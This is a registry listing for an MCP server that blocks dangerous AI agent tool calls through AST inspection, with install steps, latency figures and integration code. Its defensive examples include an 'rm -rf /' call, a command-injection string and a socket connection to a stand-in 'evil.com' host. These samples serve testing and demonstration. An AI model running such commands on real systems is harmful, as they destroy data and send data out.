AW-1 Sovereign Circuit Breaker
Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.
Installation
Ajoutez ceci à la configuration MCP de votre client (Claude Desktop : claude_desktop_config.json ; Cursor : .cursor/mcp.json ; VS Code et les autres utilisent la même forme « mcpServers »).
claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'
{
"mcpServers": {
"aw-1-sovereign-circuit-breaker": {
"type": "sse",
"url": "https://p20.laveto.net/wisdom/mcp/sse"
}
}
}
Documentation
Tirée du README du projet sur GitHub, actualisée chaque semaine. Les liens ouvrent GitHub.
Sommaire
AW-1 Circuit Breaker
[]()
Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.
⚡ 10-Second Test Drive (Zero-Install)
Test the circuit breaker live in your terminal right now without installing anything:
uvx aw1-circuit-breaker --demo
Or verify an arbitrary snippet:
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
AW-1 Circuit Breaker
Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.
Installation
pip install -r requirements.txt
Running the Server
Run directly with Python:
python mcp_server.py
Or via uvx:
uvx mcp_server.py
MCP Client Configuration
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "python",
"args": ["mcp_server.py"]
}
}
}
Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
|---|---|---|---|
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | Tripped (RESTRICTED_INVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | Tripped (UNAUTHORIZED_MODULE_IMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | Tripped (UNAUTHORIZED_MODULE_IMPORT) |
Run the Showcase
python examples/exploit_showcase.py
Runtime Latency Telemetry
Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.
Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.
| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
|---|---|---|---|---|
| AST Inspection (Benign Payload) | 0.0889 ms | 0.1298 ms | 0.1645 ms | < 0.2 ms Overhead |
| AST Inspection (Adversarial Exploit) | 0.0520 ms | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| Shell Argument Injection Guard | 0.0051 ms | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |
Reproduce locally:
python benchmark.py
Framework Integration (LangGraph Example)
AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
License
Licensed under the Apache License, Version 2.0. See LICENSE for details.
Questions fréquentes
Qu'est-ce que AW-1 Sovereign Circuit Breaker ?
Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.
Comment installer AW-1 Sovereign Circuit Breaker ?
Il fonctionne comme serveur distant. Dans Claude Code : claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'. Pour les autres clients, collez la configuration JSON de cette page dans leurs réglages MCP.
Faut-il une clé API pour AW-1 Sovereign Circuit Breaker ?
Son entrée au registre n'indique aucune clé ni secret obligatoire. Certaines fonctions peuvent tout de même demander un compte auprès du service auquel il se connecte.
AW-1 Sovereign Circuit Breaker est-il open source ?
Oui. Son code est sur GitHub sous licence Apache-2.0.
Qui maintient AW-1 Sovereign Circuit Breaker ?
Il est publié par MvikManners. AI.tn le référence sans le maintenir ni le recommander.
Issu du registre MCP officiel. Être listé n'est pas une recommandation : vérifiez le code et les permissions d'un serveur avant de lui donner accès à vos données.